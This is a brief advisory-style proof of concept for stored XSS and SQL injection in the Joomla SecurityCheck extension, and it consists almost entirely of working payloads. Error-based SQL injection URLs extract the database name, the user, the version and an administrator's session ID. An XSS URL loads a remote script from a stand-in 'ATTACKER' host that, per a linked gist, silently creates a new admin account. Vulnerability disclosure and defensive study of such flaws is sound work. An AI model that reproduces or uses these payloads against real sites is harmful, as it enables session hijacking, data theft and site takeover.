Stored XSS and SQL Injection in Joomla SecurityCheck extension
PoC URLs for SQL Injection: For determining database, user and version: http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(database())))))='1 http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(user())))))='1 http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(version())))))='1 For steal admin's session ID (If admin is not online, page response with attack detected string. If online, response with admin's session ID): http://website/index.php?option='or(ExtractValue(rand(),concat(0x3a,(SELECT concat(session_id) FROM %23__user_usergroup_map INNER JOIN %23__users ON %23__user_usergroup_map.user_id=%23__users.id INNER JOIN %23__session ON %23__users.id=%23__session.userid WHERE group_id=8 LIMIT 0,1))))='1 PoC URLs for XSS: Add a new admin to website silently while admin checking SecurityCheck logs: http://website/index.php?option=<script>var script = document.createElement('script');script.src = "http://ATTACKER/attack.js";document.getElementsByTagName('head')[0].appendChild(script);</script> attack.js: https://gist.github.com/MuhammetDilmac/c680cc921143543561bfdfd7b25da1ca